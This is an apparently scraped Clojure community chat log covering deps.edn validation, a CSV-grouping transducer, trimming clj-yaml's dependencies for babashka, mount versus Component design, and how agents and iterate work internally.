It works for me just fine in Cursive. But without any error messages, even the ones that you deem the most useless ones, it's impossible to tell anything.

Thanks - I ended up figuring it out. It's the sort of thing where a spec for the deps format would be helpful, so that it could help me identify the syntactic errors.

@U2FRKM4TW It's not clojure, but https://github.com/instrumenta/conftest understands edn, and can be used to write tests against deps.edn. It is based on https://www.openpolicyagent.org/ which is used a lot with kubernetes. There are also mechanisms for having standard sets of tests that can be installed, although I've not used that yet. It would mean that it would only have to be written once.

You probably wanted to tag pmooser. :)

@U07VBK5CJ You can check deps.edn with conftest, see my above comment.

The problem of doing that transformation from input to output is orthogonal from the timing of when the input is consumed. One approach would be to create a lazy sequence with the output. You could do that without transducers with:

(->> input
  (partition-by #{:a})
  (partition-all 2)
  (map (fn [[a bs]] (vec (concat a bs)))))

(sequence
  (comp
    (partition-by #{:a})
    (partition-all 2)
    (map (fn [[a bs]] (vec (concat a bs)))))
  input)

Only did minimal testing, but something like this might suit your needs

(defn my-transducer [rf]
  (let [state (volatile! [])]
    (fn
      ([] (rf))
      ([end]
       (if-let [val (not-empty @state)]
         (do (vreset! state nil)
             (rf end val))
         (rf end)))
      ([result item]
       (if (and (seq @state) (= :a item))
         (let [val @state]
           (vreset! state [:a])
           (rf result val))
         (do (vswap! state conj item)
             result))))))

I have broken CSV input, when line is not starting with some string I need to append it to last line, then in processing line I parse CSV, due to large size of CSV file I need to process it line by line basically, whole CSV file has giga bytes in size.

@UARBFQGVB I think this is exactly what I need, I am still new to transducers so thank you very much

@UARBFQGVB what’s the choice of voltaile! over transient here ?

That's an interesting question. Honestly, I didn't think too hard about it, but I'm not really building a collection. I'm storing some temporary state and then wiping it out repeatedly. Wouldn't have occurred to me to use a transient for that. Perhaps there's a benefit I'm not aware of.

IIRC, YAML is full of quirks

Yaml is pretty funky.

ok

even json is valid yaml 😄

you can mix it in with the other bits of yaml on the fly

I'm asking since adding clj-yaml (based on SnakeYML) adds 2.5mb to the size of babashka and I'm wondering if this is worth it

also I'm starting to run out of memory on CircleCI because of the amount of libraries... migration to Github actions almost done, but still...

Reimplementing anything where Norway is considered false is not worth doing.

:thumbsup:

Maybe if YAML had a human readable bnf you could have used instaparse but instaparse doesn't like things like s-space ::= #x20

@U04V15CAJ i wonder if you could reach out to Circle and get some sponsorship and some more space

I tried..

aw

They didn't say no, they have been looking into it. But I've been asking several times now.

that's disappointing

I guess they're just busy 😉

Why does clj-yaml pull in all these dependencies?

Run lein deps
Retrieving clj-commons/clj-yaml/0.7.0/clj-yaml-0.7.0.pom from clojars
Retrieving org/yaml/snakeyaml/1.24/snakeyaml-1.24.pom from central
Retrieving org/flatland/ordered/1.5.7/ordered-1.5.7.pom from clojars
Retrieving org/flatland/useful/0.11.6/useful-0.11.6.pom from clojars
Retrieving org/clojure/tools.macro/0.1.1/tools.macro-0.1.1.pom from central
Retrieving org/clojure/pom.contrib/0.0.20/pom.contrib-0.0.20.pom from central
Retrieving org/clojure/clojure/1.3.0-alpha5/clojure-1.3.0-alpha5.pom from central
Retrieving org/clojure/tools.reader/0.7.2/tools.reader-0.7.2.pom from central
Retrieving org/clojure/pom.contrib/0.0.26/pom.contrib-0.0.26.pom from central
Retrieving org/yaml/snakeyaml/1.24/snakeyaml-1.24.jar from central
Retrieving org/clojure/tools.macro/0.1.1/tools.macro-0.1.1.jar from central
Retrieving org/flatland/ordered/1.5.7/ordered-1.5.7.jar from clojars
Retrieving org/flatland/useful/0.11.6/useful-0.11.6.jar from clojars
Retrieving clj-commons/clj-yaml/0.7.0/clj-yaml-0.7.0.jar from clojars

if you don't depend on clojure 1.3.0-alpha5 can you really be a production-ready library?

😕

I’d be more than happy with a PR which cleans up the deps.

I understand. I'm not really working with YAML in Clojure myself. Just though I could make a couple of people happy with adding this.

YAML doesn't really spark that much joy to be honest 🙂

Thing is that clj-yaml pulls in flatland.ordered in order(sic) to get ordered-map and ordered-set

and that pulls in flatfland.useful which might be a tad too much?

I mean, if I write a library, I'm not going to depend on medley if I'm just going to use one helper function from that

yes

it seems flatland.ordered is also under clj-commons

So it might be feasible to either copy the implemntations of ordered-map/ordered-set or replace them all together

this seems to be a competitor with flatland.ordered: https://github.com/frankiesardo/linked

(with no deps)

Should be fairly trivial to make flatland.ordered not depend on useful

This also seemed to work: https://github.com/borkdude/clj-yaml/commit/f45afb231b89bfd2d5a8f60247c97e0da82e8171 Tests all pass.

https://github.com/clj-commons/ordered/tree/remove_useful_dep

Probably safer.

did it work despite the travis warnings?

I round-tripped a large yml file with frankiesardo/linked and with flatland. the output is identical:

(spit "/tmp/foo.yml" (yaml/generate-string (yaml/parse-string (slurp ".github/workflows/build.yml"))))

Hey @U04V15CAJ, I'm the one who made the initial request, and I'm sorry it's ballooned into so much work. 😞 If there's anything I can help with, please let me know.

One of the really tricky bits about yaml is things like node anchors.

If you'd like help cleaning up deps in snakeyaml, or something similar, again, please let me know.

@U09M90GKX it's ok, we're just learning and trying stuff here 🙂

look, clj-kondo found something 🙂 https://github.com/clj-commons/clj-yaml/pull/8/files

@U09M90GKX Do you have any preference between clj-yaml and https://github.com/owainlewis/yaml ?

@U04V15CAJ Not off the top of my head. I've used several, but only lightly.

I just do lot's of work with kubernetes, and trying to get it and clojure to play nicer together. I submitted a talk to last year's kubecon called "Kubernetes and Clojure; the data driven orchestrator meets the data oriented programming language." But didn't get it accepted. 😢

Bummer. Maybe you'll also like https://www.youtube.com/watch?v=KtMJ4lHI_qM (by @U7ERLH6JX)

(in the sense that it tries to combine the data driven approach of Clojure with docker stuff)

Yea, that's on my watch list. There's a lot of possibilities out there now. IIRC, Alex did a new git library, there's good drivers for docker, stuff like martian for openapi interaction, which is what k8s uses....

skaffold for kubernetes is a great development tool, and can be used via cli or api. I want to try controlling it as part of a project-management-repl type tool.

right now I'm working on aero/clip/dirwatch with k8s, which is going nicely, but still has a day or two in order to finish what I needed out of it.

I want to put out a repo with and example clojure service and the advanced details of dev/prod on k8s. Kinda literate style.

was it https://www.youtube.com/watch?v=qyhjok21Y3o ?

Could also be this one. Not "very young" though. https://www.youtube.com/watch?v=juCIC0OsWI4

I was not thinking of Anthony. I think the video was quite recent, so unless there is somebody else it could have well been Connie. Thanks!

yeah this was Heart of Clojure last year and had the absolute pleasure to see her live! 😄

Are you looking for Clojure-level view, or you want to see internal implementation details at the JVM level, e.g. how Clojure values are represented as JVM objects?

Clojure-level view

For Clojure-level view, REBL is interesting.

Ah, good suggestion. I will check that out.

It does not draw pictures the way data scope does -- more a kind of interactive exploration of values, able to dive deep into nested collections, and other things.

Right

I haven't used rebl, but the the functions in the clojure.inspector ns (specifically inspect-tree) has been useful and quick for one-off investigations.

Thanks for the tip @ULC02P8TE

I added clojure.lang.Symbol as well as tools.deps support to datascope in my fork here: https://github.com/ivarref/datascope This was the original reason I asked actually, because datascope did not support clojure.lang.Symbol

inspect-tree of clojure.inspector was pretty neat. Thanks 🙂

When you say "upper level" do you mean leaves or root of the namespace tree?

Generally to work around circular dependencies in components I start adding function parameters to the component lifecycle functions. So if component A depends on component B, I take B as an argument when starting A rather than directly referencing it. Then you use some root-level namespace to invoke mount/start as needed and wire things up together.

And if a state change in component A needs to trigger a change to another component, I might consider implementing that in the root-level namespace. Make component A return a channel then push the relevant state changes onto the channel. Then the root-level namespace listens on that channel and restarts/wires-up the restarted components as necessary.

upper level, as in closer to root. it's like my state namespace is a shared leaf node. it just collects state. Starting components with arguments is all clear. but in this case, a state change requires restarting component A. I solved it by implementing a marker service B in the leaf and listening to its state in A with mount up/down listener but yeah a generic channel would work too

and thanks for comments!

Hmm, I think you've helped me realize that the thing I don't like about mount is that it holds its state in the leaf nodes. This turns the functional-core/imperative-shell idiom on its head and puts the imperative, stateful stuff in the core where it doesn't belong. It also requires your leaf namespaces to know about each other if you want your stateful components to interact, which is a dependency nightmare as you see.

I've been gravitating towards SS Component lately and I think I now consciously know the intuitive reason why; Component effectively has you define factory functions in your leaf namespaces but holds the system state in the root level.

There are ways you can work around having state in the leaves of your system but none of them are going to be great because this is a fundamental design problem. (Not trying to browbeat you - I have been making this mistake myself.)

Yes, I've come to realize this core difference between mount and component. there's also mount-lite that uses inferred dependencies to solve this. I have not used either, thought about switching but so far haven't

but looks like even mount-lite's inferred dependency doesn't quite solve my case (reading https://functionalbytes.nl/clojure/mount/mount-lite/2018/01/06/mount-lite-graphs.html). it would automatically start inferred dependencis, but I wouldn't be able to stop them without an explicit reference as I understand it, because it's all based on namespaces

I don't know much about mount-lite but in mount I would mount/only to explicitly list the components I want.

I haven't found a good way to compose mount components together without explicit references to everything.

The :dev profile is used to specify project specific development tooling. Put things here if they are required for builds or tests, rather than just convenience tooling.

https://github.com/technomancy/leiningen/blob/master/doc/PROFILES.md#default-profiles

for starters, the java class declares the queue https://github.com/clojure/clojure/blob/master/src/jvm/clojure/lang/Agent.java#L40

and from there, we can go to the send-off function, which in turn uses send-via to invoke the java code above:

(ins)user=> (source send-off)
(defn send-off
  "Dispatch a potentially blocking action to an agent. Returns the
  agent immediately. Subsequently, in a separate thread, the state of
  the agent will be set to the value of:

  (apply action-fn state-of-agent args)"
  {:added "1.0"
   :static true}
  [^clojure.lang.Agent a f & args]
  (apply send-via clojure.lang.Agent/soloExecutor a f args))
nil
(ins)user=> (source send-via)
(defn send-via
  "Dispatch an action to an agent. Returns the agent immediately.
  Subsequently, in a thread supplied by executor, the state of the agent
  will be set to the value of:

  (apply action-fn state-of-agent args)"
  {:added "1.5"}
  [executor ^clojure.lang.Agent a f & args]
  (.dispatch a (binding [*agent* a] (binding-conveyor-fn f)) args executor))
nil

so we can go to the .dispatch method of agent to see what send-off really does...

https://github.com/clojure/clojure/blob/master/src/jvm/clojure/lang/Agent.java#L234

and it calls another method that does the enqueue https://github.com/clojure/clojure/blob/master/src/jvm/clojure/lang/Agent.java#L255

most of your answers will come from the doc of the clojure functions (for high level behavior descriptions) and the java code (for the actual mechanics implementing the behavior)

ah, wow. thank you so much @U051SS2EU 🙏. this is exactly what i was hoping for

this makes a ton of sense. i didnt think to look at the java impl, 😵 apologies on that. definitely something ill seek next time.

I think I wrote some stuff in Programming Clojure about this, but not at a computer to verify

i just picked up a copy of elements, not sure why i havent pulled down this one as well. rectification imminent

@alexmiller is there a prefered source of acquisition? sometimes it makes a difference...

I prob get the most from pragprog directly but whatever

They make great gifts - buy 10!

perfect. thanks @alexmiller!

user=> (let [stuff (iterate #(do (println %) (inc %)) 0)]
(println (take 10 stuff))
(println (take 10 stuff))
(println (reduce (fn [acc n] (if (< 10 n) (reduced acc) (+ acc n))) 0 stuff)))
(0
0 1
1 2
2 3
3 4
4 5
5 6
6 7
7 8
8 9)
(0 1 2 3 4 5 6 7 8 9)
0
1
2
3
4
5
6
7
8
9
10
55
nil
user=> (let [stuff (seq (iterate #(do (println %) (inc %)) 0))]
(println (take 10 stuff))
(println (take 10 stuff))
(println (reduce (fn [acc n] (if (< 10 n) (reduced acc) (+ acc n))) 0 stuff)))
(0
0 1
1 2
2 3
3 4
4 5
5 6
6 7
7 8
8 9)
(0 1 2 3 4 5 6 7 8 9)
0
1
2
3
4
5
6
7
8
9
10
55
nil

Above, Alex said it was for performance.

Oh, I think I missed that

I'm not sure in this case I find the constraint worth the gains. But its because I'm not really thinking of many scenarios where'd I'd benefit

I guess if I want to reduce over fibonacci, and avoid intermediate structures

But then again, there's so many edge case, if you apply any other sequence fn on it, like a map or filter, it'll cache and you won't be working of the Iterate anymore

Seems it just made things complicated for not much

It can be complicated if you want to understand all of the reasons why something was done, and/or what the performance implications are. If you just want to use the function correctly, the doc string gives a pretty concise explanation of the restriction.

Ya, I'm not trying to judge, it just makes me wonder what scenario motivated such performance enhancements, and if I've ever been in one where I could have leaned on iterate for it

Yes, that is the primary reason it exists (was added along with optimized range, cycle, repeat in 1.7 to support optimized reduce for transducers)

Ah for transducer I can see it making sense, thx